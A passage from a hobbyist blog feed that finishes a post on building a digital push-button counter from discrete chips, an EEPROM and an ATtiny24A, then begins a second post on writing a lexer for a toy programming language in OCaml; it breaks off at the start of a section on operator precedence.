        gpio_put(address[<span class="hljs-number">10</span>], <span class="hljs-literal">false</span>);
        gpio_put(address[<span class="hljs-number">11</span>], <span class="hljs-literal">false</span>);
        gpio_put(address[<span class="hljs-number">12</span>], <span class="hljs-literal">false</span>);
        gpio_put(address[<span class="hljs-number">10</span> + j], <span class="hljs-literal">true</span>);

        <span class="hljs-keyword">const</span> <span class="hljs-keyword">int</span> digit = i / <span class="hljs-keyword">static_cast</span>&lt;<span class="hljs-keyword">int</span>&gt;(<span class="hljs-built_in">pow</span>(<span class="hljs-number">10</span>, j)) % <span class="hljs-number">10</span>;

        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> k = <span class="hljs-number">0</span>; k &lt; <span class="hljs-number">8</span>; ++k)
        {
            gpio_put(io[k], numbers[digit][k]);
        }

        sleep_ms(<span class="hljs-number">5</span>);
        gpio_put(WE, <span class="hljs-literal">false</span>);
        sleep_ms(<span class="hljs-number">5</span>);
        gpio_put(WE, <span class="hljs-literal">true</span>);
        sleep_ms(<span class="hljs-number">5</span>);
    }
    <span class="hljs-keyword">if</span> (i % <span class="hljs-number">10</span> == <span class="hljs-number">0</span>)
    {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"."</span>);
    }
}
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"\ndone.\n"</span>);
</code></pre>
<p>The first 10 bits of the address are the number we want to display. The last 3 bits indicate the currently active digit. The stored value will be the 7-segment representation of the digit at that place value. For this, we divide the original number by one/ten/one hundred and look at the remainder produced by division by ten.</p>
<p>After setting the values of the address and I/O pins, we turn the <code>WRITE ENABLE</code> pin on and then off again, then move on to the next digit and then the next number.</p>
<p>After programming the EEPROM, all that remains is to connect everything together.</p>
<pre class="ascii"><code>           ╔═════╗ ╔═════════╗
           ║ 555 ╟─╢ CD4017B ╟─┐
           ╚═════╝ ╚═════════╝ │ ╔══════════╗ ╔═════════╗
                               ├─╢ AT28C64B ╟─╢ BA56-12 ║
╔════════╗ ╔═════╗ ╔═════════╗ │ ╚══════════╝ ╚═════════╝
║ Button ╟─╢ 555 ╟─╢ CD4040B ╟─┘
╚════════╝ ╚═════╝ ╚═════════╝
</code></pre>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/digital_counter_2.jpg" width="660" height="450" alt="The EEPROM version of the digital counter on a single breadboard" title="" loading="lazy" />
</p>

<p>This version did end up half the size of the previous one, but it has its flaws. The counter chip has a 12-bit output, of which we only use 10 bits. With 10 bits, we can count from 0 to 1023, but only three digits are visible on the display. So the dear user will experience that after 999 it counts up to 23, then back up to 999, then up to 23 again, and so on.</p>
<p>In addition, the <strong>CD4017B</strong> probably cannot supply enough current to properly drive the LEDs, which is why the display is so dim.</p>
<p>Probably neither problem is unsolvable, but they mean extra components, which further increase the size. But what if we want something smaller?</p>
<p><a name="software-solutions"></a></p>
<h3>Software solutions</h3>
<p>My last idea was the one I had rejected first: a microcontroller. Although a Raspberry Pi Pico would be overkill for such a small task, we can look for something that fits better.</p>
<p>What we need: 7 outputs for the segments, 3 outputs for digit selection, and two inputs for the buttons. The <strong>ATtiny24A</strong> seems just right. Out of 12 pins, we can use 11 for our own purposes, and the last pin is fixed as <code>RESET</code>, which is just fine, because that's exactly what we need.</p>
<pre class="ascii"><code>       ┌───┬──┬───┐
   VDD ┤ • └──┘   ├ VSS
   PB0 ┤          ├ PA0
   PB1 ┤          ├ PA1
RESET' ┤ ATtiny24 ├ PA2
   PB2 ┤          ├ PA3
   PA7 ┤          ├ PA4
   PA6 ┤          ├ PA5
       └──────────┘
</code></pre>
<p>The circuit could hardly be any simpler than this: just the <strong>ATtiny24A</strong>, two buttons, and the LED display (again, a common anode <strong>BA56-12</strong>, though in this case we could have used either version; only the segment values would change in the code).</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/attiny.jpg" width="660" height="611" alt="Wiring diagram: ATtiny24A and the LCD display" title="" loading="lazy" />
</p>
<p class="image-caption">Unfortunately, there wasn't a suitable component for the display, so there's just an empty space where it should be</p>

<p>The reason for the simplicity is that we have to solve everything with software. For this, we have to program the ATtiny. I tried to use a Raspberry Pi for this, but it didn't work for some reason, so in the end I went with an Arduino UNO.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/attiny_arduino.jpg" width="660" height="611" alt="ATtiny24A programming with an Arduino UNO" title="" loading="lazy" />
</p>

<p>Getting a program onto the ATtiny is not the simplest thing. I won't go into the details, but <a href="https://www.instructables.com/Using-the-Arduino-Uno-to-program-ATTINY84-20PU/">here is a write-up for it</a>. Let's jump to the programming instead.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">const</span> <span class="hljs-keyword">byte</span> digits[<span class="hljs-number">3</span>] PROGMEM = {<span class="hljs-number">0</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>};
<span class="hljs-keyword">const</span> <span class="hljs-keyword">byte</span> segments[<span class="hljs-number">7</span>] PROGMEM = {<span class="hljs-number">1</span>, <span class="hljs-number">5</span>, <span class="hljs-number">7</span>, <span class="hljs-number">9</span>, <span class="hljs-number">10</span>, <span class="hljs-number">2</span>, <span class="hljs-number">6</span>};

<span class="hljs-keyword">const</span> <span class="hljs-keyword">byte</span> numbers[<span class="hljs-number">10</span>][<span class="hljs-number">7</span>] PROGMEM = {
  {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>},
  {<span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>},
  {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>},
  {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>},
  {<span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>},
  {<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>},
  {<span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>},
  {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>},
  {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>},
  {<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>},
};

<span class="hljs-keyword">const</span> <span class="hljs-keyword">byte</span> buttonPin = <span class="hljs-number">8</span>;
</code></pre>
<p>The program itself once again begins with a little initialization. We specify the digit and segment pins, as well as the previously used mapping between digits and segments. We store larger variables in program memory (<code>PROGMEM</code>) so that it doesn't take up space in runtime memory. In exchange, it will be a little harder to access them.</p>
<pre><code class="hljs arduino"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">setup</span><span class="hljs-params">()</span> </span>{
  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">byte</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">3</span>; ++i) {
    <span class="hljs-built_in">pinMode</span>(pgm_read_byte(&amp;digits[i]), <span class="hljs-literal">OUTPUT</span>);
    <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;digits[i]), <span class="hljs-literal">LOW</span>);
  }
  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">byte</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">7</span>; ++i) {
    <span class="hljs-built_in">pinMode</span>(pgm_read_byte(&amp;segments[i]), <span class="hljs-literal">OUTPUT</span>);
    <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;segments[i]), <span class="hljs-literal">HIGH</span>);
  }

  <span class="hljs-built_in">pinMode</span>(buttonPin, <span class="hljs-literal">INPUT</span>);
  <span class="hljs-built_in">attachInterrupt</span>(digitalPinToInterrupt(buttonPin), increment, RISING);  
}
</code></pre>
<p>We turn off the digit selectors and the segments, and put an interrupt on the button pin. <code>pgm_read_byte</code> is the previously mentioned, more difficult way of accessing data stored in program memory.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">volatile</span> <span class="hljs-keyword">byte</span> d0 = <span class="hljs-number">0</span>;
<span class="hljs-keyword">volatile</span> <span class="hljs-keyword">byte</span> d1 = <span class="hljs-number">0</span>;
<span class="hljs-keyword">volatile</span> <span class="hljs-keyword">byte</span> d2 = <span class="hljs-number">0</span>;

<span class="hljs-keyword">volatile</span> <span class="hljs-keyword">bool</span> pressed = <span class="hljs-literal">false</span>;
<span class="hljs-keyword">volatile</span> <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span> pressTime;

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">increment</span><span class="hljs-params">()</span> </span>{
  <span class="hljs-keyword">if</span> (!pressed) {
    pressed = <span class="hljs-literal">true</span>;
    pressTime = <span class="hljs-built_in">millis</span>();

    d2 += <span class="hljs-number">1</span>;
    <span class="hljs-keyword">if</span> (d2 &gt; <span class="hljs-number">9</span>) {
      d2 = <span class="hljs-number">0</span>;
      d1 += <span class="hljs-number">1</span>;
      <span class="hljs-keyword">if</span> (d1 &gt; <span class="hljs-number">9</span>) {
        d1 = <span class="hljs-number">0</span>;
        d0 += <span class="hljs-number">1</span>;
        <span class="hljs-keyword">if</span> (d0 &gt; <span class="hljs-number">9</span>) {
          d0 = <span class="hljs-number">0</span>;
        }
      }
    }
  }
}
</code></pre>
<p>The interrupt stores the time of the press and increments the digits if the button was not already pressed. This will be the basis of our simple bounce protection.</p>
<p>Storing the digits separately and incrementing them one by one can hardly be called elegant, but we can save a few divisions and remainder calculations in the main loop this way.</p>
<pre><code class="hljs arduino"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">loop</span><span class="hljs-params">()</span> </span>{
  <span class="hljs-keyword">if</span> (pressed) {
    <span class="hljs-built_in">noInterrupts</span>();
    <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">long</span> t = pressTime;
    <span class="hljs-built_in">interrupts</span>();
    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">millis</span>() - t &gt; <span class="hljs-number">150</span>) {
      pressed = <span class="hljs-literal">false</span>;
    }
  }

  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">byte</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">7</span>; ++i) {
    <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;segments[i]), pgm_read_byte(&amp;numbers[d0][i]));
  }
  <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;digits[<span class="hljs-number">0</span>]), <span class="hljs-literal">HIGH</span>);
  <span class="hljs-built_in">delay</span>(<span class="hljs-number">5</span>);
  <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;digits[<span class="hljs-number">0</span>]), <span class="hljs-literal">LOW</span>);

  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">byte</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">7</span>; ++i) {
    <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;segments[i]), pgm_read_byte(&amp;numbers[d1][i]));
  }
  <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;digits[<span class="hljs-number">1</span>]), <span class="hljs-literal">HIGH</span>);
  <span class="hljs-built_in">delay</span>(<span class="hljs-number">5</span>);
  <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;digits[<span class="hljs-number">1</span>]), <span class="hljs-literal">LOW</span>);

  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">byte</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">7</span>; ++i) {
    <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;segments[i]), pgm_read_byte(&amp;numbers[d2][i]));
  }
  <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;digits[<span class="hljs-number">2</span>]), <span class="hljs-literal">HIGH</span>);
  <span class="hljs-built_in">delay</span>(<span class="hljs-number">5</span>);
  <span class="hljs-built_in">digitalWrite</span>(pgm_read_byte(&amp;digits[<span class="hljs-number">2</span>]), <span class="hljs-literal">LOW</span>);
}
</code></pre>
<p>In the main part of our program, we handle the pressed button: if enough time has passed since the button was pressed (in our case, 150 milliseconds), then we allow the button to be pressed again. It is not a perfect solution (what about a case where someone holds the button down for a longer time, and the release causes bouncing?), but here and now, it is more than enough.</p>
<p>Besides this, we also handle the LED display here. There is perhaps nothing surprising in this part. Based on the mapping in the <code>numbers</code> array, we set the appropriate output on the segment pins for each digit. The digits are only turned on for a short time, and the currently displayed digit changes rapidly, so that it looks as if all three digits were visible at the same time.</p>
<p>The <code>delay</code> may be a bit high; it might be worth tweaking it a little more. In the picture below, you can see that the digits do not have uniform brightness; the refresh rate was probably still too low.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/digital_counter_3.jpg" width="660" height="450" alt="Microcontroller version of the digital counter on a half breadboard" title="" loading="lazy" />
</p>

<p>We managed to halve the size of our counter circuit again, and I think this is the smallest size we can achieve on a breadboard.</p>
<p>Although the goal was not a digital handheld counter of usable size, it's still not a bad thing that by the end, we managed to put together something that (with proper packaging) could even be a usable device.</p>
<h3>Final settlement</h3>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/all_digital_counters.jpg" width="660" height="960" alt="The three finished digital counters one below the other" title="" loading="lazy" />
</p>

<p>Three and a half breadboards, sixteen ICs, hundreds of wires cut to size, about half a dozen evenings spent tinkering, one burn injury (from overheating caused by a short circuit), and the end result: three digital counters.</p>
<ul>
<li>a giant-sized solution using purpose-built chips, where the biggest challenge was all the wires</li>
<li>a pre-programmed EEPROM version with its own eccentric behavior</li>
<li>a microcontroller-driven one, where the limited hardware tends to play tricks on careless programmers</li>
</ul>
<p>Although the solutions decreased in size, the complexity that was present in the first version and plainly visible to the eye did not disappear along the way. It merely migrated into memory and then into the program code.</p>
<h3>Recurrence</h3>
<p><em>A press of a button shook Bredbord's delicate balance. The noise born from the bounce reached 555. The energy coursing through the monostable timer opened the path toward charging. Spikes of noise kept biting into him, but 555 held the signal until the rising potential reached such a level that he had no choice but to release it in a discharge. He watched proudly as it departed, merging with the unknown. In spirit, however, he was already preparing for the next assault.</em></p>
<p><em>CD4026B awaited the relentless ticking of the approaching clock signal with quiet inevitability. Racing through latches and gates, it changed his inner state. The counter's nine turned over into zero. He returned to where he had begun, to another beginning in the infinite cycle. Although the overflow sent the signal into oblivion, Bredbord had already been tipped out of balance. With that single act, CD4026B had set unstoppable forces into motion. Forces that reached far beyond his own existence.</em></p>
<p><em>Split into seven fragments, the change spread onward through the segment pins toward the LEDs of BC56-12. Some fell into the blind void, drifting into a long sleep. Others awakened to a new life, radiant with the excitement of potential. The pattern they formed blazed forth like a divine revelation: once again, balance had been restored. If only for the time being.</em></p>

]]></content:encoded>
        </item>
            <item>
            <title>The recursive descent</title>
            <link>https://deadlime.hu/en/2026/05/05/the-recursive-descent/</link>
            <pubDate>Tue, 05 May 2026 10:40:06 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[OCaml]]></category>
                    <category><![CDATA[programming]]></category>
                    
            <guid isPermaLink="false">35cb7e7b1817dc50a25da84df3ae4428</guid>
            <description>Traversing the syntax forest, getting lost in the depths of recursion</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/mandelbrot.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Have you ever woken up in the morning feeling like writing a programming language? No? That's... pretty strange. But we're not here to discuss where things went sideways in our lives. Let's just write a programming language instead.</p>
<p>Writing a programming language is a great way to satisfy our latent god complex. We get to create a world with our own rules. Don't like it when someone puts the curly brace on a new line after an <code>if</code>? Throw a syntax error at them! Camel case function names make your skin crawl? Ban them! For some bizarre reason, you want every variable to start with a <code>$</code>? Now's the perfect chance!</p>
<p>A project of this scale usually begins with a ton of upfront planning: from deciding what problem the new language is meant to solve to tiny details like how variable scope works or whether there should be a dedicated operator for string concatenation. We're going to skip all of that and dive straight into the middle of it... or some part of it. Hard to say, since we didn't do the planning.</p>
<h3>Table of contents</h3>
<ol start="0">
<li><a href="#0">First steps</a></li>
<li><a href="#1">The lexical analyzer</a></li>
<li><a href="#2">Operators</a></li>
<li><a href="#3">Precedence</a></li>
<li><a href="#4">The syntactic analyzer</a></li>
<li><a href="#5">Statements</a></li>
<li><a href="#6">The evaluator</a></li>
<li><a href="#7">Parentheses</a></li>
<li><a href="#8">Numerous options</a></li>
<li><a href="#9">Variables</a></li>
<li><a href="#10">Control flow</a></li>
<li><a href="#11">'Tis the end</a></li>
</ol>
<p><a name="0"></a></p>
<h3>First steps</h3>
<p>In the beginning was the plain text. Characters give birth to tokens, from which we grow a syntax tree. The tree is a flexible structure, you can make all sorts of things out of it, like a native binary or bytecode for a virtual machine. But you can also just execute it directly.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/parser_en.png" width="242" height="394" alt="" title="" loading="lazy" />
</p>

<p>To get started, we'll need a programming language, since our own is not in a state yet where it could be written in itself. I chose OCaml because I enjoy tormenting myself with things I barely understand. And I mean that quite literally. At the start of the project, I had zero knowledge of OCaml, and about as much familiarity with functional languages as you can pick up from imperative languages.</p>
<p>For the first milestone, I'd like to convert boolean values into tokens, since they consist only of <code>true</code> and <code>false</code>. Right away, we have to make some decisions. Should these values be separate tokens (<code>TTrue</code> and <code>TFalse</code>), or should there be a single <code>TBool</code> token that can take on <code>true</code> or <code>false</code>? I don't think it's such a big decision. I went with the latter.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> token =
  | <span class="hljs-type">TBool</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">bool</span>
  | <span class="hljs-type">TEOF</span>

<span class="hljs-keyword">let</span> show_token token =
  <span class="hljs-keyword">match</span> token <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TBool</span> b -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"TBool(%B)"</span> b
  | <span class="hljs-type">TEOF</span>    -&gt; <span class="hljs-string">"TEOF"</span>
</code></pre>
<p>OCaml's syntax might feel a bit strange. I'm looking at <code>type</code> as if it's a smarter <code>enum</code>, and <code>match</code> is just a smarter <code>switch</code>.</p>
<p>The <code>token</code> type will hold all of our tokens, and <code>show_token</code> is just a helper function we'll use during development to print things to the screen while our own language doesn't have that capability yet. We also added an end-of-file token, which is meant to signal the end of the program.</p>
<p><a name="1"></a></p>
<h3>The lexical analyzer</h3>
<p>Also known as lexer. The fancy name hides a simple mechanism. It reads the plain text one character at a time and builds tokens from it. For this, it helps to know where we are at any given moment, so we define a <code>struct</code>-like construct (I think OCaml calls it a <code>record</code>) so we can store the data we need:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">exception</span> <span class="hljs-type">LexError</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span>

<span class="hljs-keyword">type</span> lexer_state = {
  src : <span class="hljs-built_in">string</span>;
  len : <span class="hljs-built_in">int</span>;
  <span class="hljs-keyword">mutable</span> pos : <span class="hljs-built_in">int</span>;
  <span class="hljs-keyword">mutable</span> line : <span class="hljs-built_in">int</span>;
  <span class="hljs-keyword">mutable</span> col : <span class="hljs-built_in">int</span>;
}
</code></pre>
<p>From the perspective of the analyzer, <code>pos</code> is what matters to us. <code>line</code> and <code>col</code> are only there so we can generate more user-friendly error messages.</p>
<p>We'll also define a few helper functions to make our lives easier:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> make_lexer src = {
  src;
  len = <span class="hljs-type">String</span>.length src;
  pos = <span class="hljs-number">0</span>;
  line = <span class="hljs-number">1</span>;
  col = <span class="hljs-number">1</span>;
}

<span class="hljs-keyword">let</span> step ls =
  ls.pos &lt;- ls.pos + <span class="hljs-number">1</span>;
  ls.col &lt;- ls.col + <span class="hljs-number">1</span>

<span class="hljs-keyword">let</span> step_line ls =
  ls.pos &lt;- ls.pos + <span class="hljs-number">1</span>;
  ls.line &lt;- ls.line + <span class="hljs-number">1</span>;
  ls.col &lt;- <span class="hljs-number">1</span>

<span class="hljs-keyword">let</span> current_char ls = ls.src.[ls.pos]
</code></pre>
<p><code>make_lexer</code> produces an initial state. <code>step</code> is a simple step forward within the same line, while <code>step_line</code> is also moving to a new line. <code>current_char</code> returns the character we're currently looking at.</p>
<p>Thanks to the nature of the language, we'll solve most of our problems with pattern matching and recursion.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> tokenize src = 
  <span class="hljs-keyword">let</span> ls = make_lexer src <span class="hljs-keyword">in</span>

  <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop tokens =
    <span class="hljs-keyword">if</span> ls.pos &lt; ls.len <span class="hljs-keyword">then</span>
      <span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
      | <span class="hljs-string">'\n'</span> -&gt;
        step_line ls;
        loop tokens
      | <span class="hljs-string">' '</span> | <span class="hljs-string">'\t'</span> | <span class="hljs-string">'\r'</span> -&gt;
        step ls;
        loop tokens
      | <span class="hljs-string">'a'</span>..<span class="hljs-string">'z'</span> -&gt;
        loop (tokenize_name ls :: tokens)
      | c -&gt;
        raise (<span class="hljs-type">LexError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected character '%c' on line %d col %d"</span> c ls.line ls.col))
    <span class="hljs-keyword">else</span>
      <span class="hljs-type">TEOF</span> :: tokens
  <span class="hljs-keyword">in</span>

  <span class="hljs-type">List</span>.rev (loop <span class="hljs-literal">[]</span>)
</code></pre>
<p>We create an instance of our struct (<code>ls</code>) and a recursive function (<code>loop</code>), which we then call with an empty list. The recursion continues until we reach the end of the source code. At that point, it prepends a <code>TEOF</code> token to the list. For some reason, this language really likes adding things to the front of lists, which is why we have to reverse the list at the end with <code>List.rev</code>.</p>
<p>If we haven't reached the end of the file yet, we examine the current character. For whitespace characters, we simply step forward without adding anything to the list. If we encounter alphabetic data, we interpret it with another function and append it to the tokens; otherwise, we throw an error for an unknown character (where we can use our <code>line</code> and <code>col</code> values).</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> tokenize_name ls =
  <span class="hljs-keyword">let</span> is_name_char ch = ch &gt;= <span class="hljs-string">'a'</span> &amp;&amp; ch &lt;= <span class="hljs-string">'z'</span> <span class="hljs-keyword">in</span>

  <span class="hljs-keyword">let</span> start_col = ls.col <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">let</span> start = ls.pos <span class="hljs-keyword">in</span>

  <span class="hljs-keyword">while</span> ls.pos &lt; ls.len &amp;&amp; is_name_char (current_char ls) <span class="hljs-keyword">do</span>
    step ls
  <span class="hljs-keyword">done</span>;

  <span class="hljs-keyword">let</span> name = <span class="hljs-type">String</span>.sub ls.src start (ls.pos - start) <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">match</span> name <span class="hljs-keyword">with</span>
  | <span class="hljs-string">"true"</span>  -&gt; <span class="hljs-type">TBool</span> <span class="hljs-literal">true</span>
  | <span class="hljs-string">"false"</span> -&gt; <span class="hljs-type">TBool</span> <span class="hljs-literal">false</span>
  | _       -&gt; raise (<span class="hljs-type">LexError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected name '%s' on line %d col %d"</span> name ls.line start_col))
</code></pre>
<p>For names, we keep stepping forward as long as we see valid characters (for which we define a small helper function, <code>is_name_char</code>). After that, based on the positions we've gathered, we extract the name from the source and try to interpret it. Our humble little language understands nothing except <code>true</code> and <code>false</code> for now.</p>
<p>All that's left is a &quot;main&quot; function to try out our excellent lexical analyzer:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-literal">()</span> =
  <span class="hljs-keyword">let</span> src = {|<span class="hljs-literal">true</span> <span class="hljs-literal">false</span>
<span class="hljs-literal">true</span>
<span class="hljs-literal">true</span> <span class="hljs-literal">false</span>

<span class="hljs-literal">false</span>|} <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">try</span>
    <span class="hljs-keyword">let</span> tokens = tokenize src <span class="hljs-keyword">in</span>
    print_endline (<span class="hljs-type">String</span>.concat <span class="hljs-string">"; "</span> (<span class="hljs-type">List</span>.map show_token tokens))
  <span class="hljs-keyword">with</span> <span class="hljs-type">LexError</span> e -&gt; print_endline (<span class="hljs-string">"Fatal error: "</span> ^ e)
</code></pre>
<p>We tokenize the source code and print the resulting tokens using the previously defined <code>show_token</code> function. The result will look something like this:</p>
<pre class="console"><code>$ ocaml main.ml
TBool(true); TBool(false); TBool(true); TBool(true); TBool(false); TBool(false); TEOF
</code></pre>
<p>Of course, it might happen that we forget what tokens our language understands...</p>
<pre><code class="hljs javascript"><span class="hljs-literal">true</span> <span class="hljs-literal">false</span>
<span class="hljs-literal">false</span> <span class="hljs-literal">true</span> <span class="hljs-literal">true</span>
<span class="hljs-literal">true</span> oops <span class="hljs-literal">false</span>
<span class="hljs-literal">true</span>
<span class="hljs-literal">false</span>
<span class="hljs-literal">true</span>
<span class="hljs-literal">false</span>
</code></pre>
<p>...and we get an ugly error:</p>
<pre class="console"><code>$ ocaml main.ml
Fatal error: Unexpected name 'oops' on line 3 col 6
</code></pre>
<p>The <a href="https://github.com/deadlime/the-recursive-descent/blob/lexer/main.ml">full source of this step can be found here</a>.</p>
<p>Although we now have tokens, having values alone isn't quite complex enough to grow a syntax tree. So we'll need something that actually makes use of these values.</p>
<p><a name="2"></a></p>
<h3>Operators</h3>
<p>To get started, we could define a few operators. We could go with the usual C-style trio of <code>!</code>, <code>&amp;&amp;</code>, <code>||</code>, or opt for the slightly more Python-esque <code>not</code>, <code>and</code>, <code>or</code>. It doesn't change the end result, it just makes the lexical analyzer a bit different. I went with the latter.</p>
<p>First, we'll need some new token types:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> token =
  | <span class="hljs-type">TBool</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">bool</span>
  | <span class="hljs-type">TBoolAnd</span>
  | <span class="hljs-type">TBoolOr</span>
  | <span class="hljs-type">TBoolNot</span>
  | <span class="hljs-type">TEOF</span>
</code></pre>
<p>Which, unfortunately, means we also have to update our <code>show_token</code> function with new <code>match</code> branches:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> show_token token =
  <span class="hljs-keyword">match</span> token <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TBool</span> b  -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"TBool(%B)"</span> b
  | <span class="hljs-type">TBoolAnd</span> -&gt; <span class="hljs-string">"TBoolAnd"</span>
  | <span class="hljs-type">TBoolOr</span>  -&gt; <span class="hljs-string">"TBoolOr"</span>
  | <span class="hljs-type">TBoolNot</span> -&gt; <span class="hljs-string">"TBoolNot"</span>
  | <span class="hljs-type">TEOF</span>     -&gt; <span class="hljs-string">"TEOF"</span>
</code></pre>
<p>Then we handle the new names in the <code>tokenize_name</code> function:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">match</span> name <span class="hljs-keyword">with</span>
| <span class="hljs-string">"true"</span>  -&gt; <span class="hljs-type">TBool</span> <span class="hljs-literal">true</span>
| <span class="hljs-string">"false"</span> -&gt; <span class="hljs-type">TBool</span> <span class="hljs-literal">false</span>
| <span class="hljs-string">"and"</span>   -&gt; <span class="hljs-type">TBoolAnd</span>
| <span class="hljs-string">"or"</span>    -&gt; <span class="hljs-type">TBoolOr</span>
| <span class="hljs-string">"not"</span>   -&gt; <span class="hljs-type">TBoolNot</span>
| _       -&gt; raise (<span class="hljs-type">LexError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected name '%s' on line %d col %d"</span> name ls.line start_col))
</code></pre>
<p>If we run our program with the source code <code>not true or false and true</code>, we'll now get the following output:</p>
<pre class="console"><code>$ ocaml main.ml
TBoolNot; TBool(true); TBoolOr; TBool(false); TBoolAnd; TBool(true); TEOF
</code></pre>
<p>The <a href="https://github.com/deadlime/the-recursive-descent/compare/lexer..operators">changes in this step can be found here</a>.</p>
<p>Now we have boolean values and operators that actually do something with them, so we finally have all we need to build our tree.</p>
<p><a name="3"></a></p>
<h3>Precedence</h3>
<p>Before we dive into the actual parsing, it's worth noting a few words about operator precedence, since it largely dictates how the parser will work and how it's structured.</p>
<p>In general, unary operators take precedence over binary ones (we interpret the expression <code>not false and true</code> as <code>(not false) and true</code>, even though we don't have parentheses yet).</p>
<p>It can also happen that two operators share the same precedence level (like <code>-</code> and <code>+</code>). In those cases, evaluation can work in several ways:</p>
<ul>
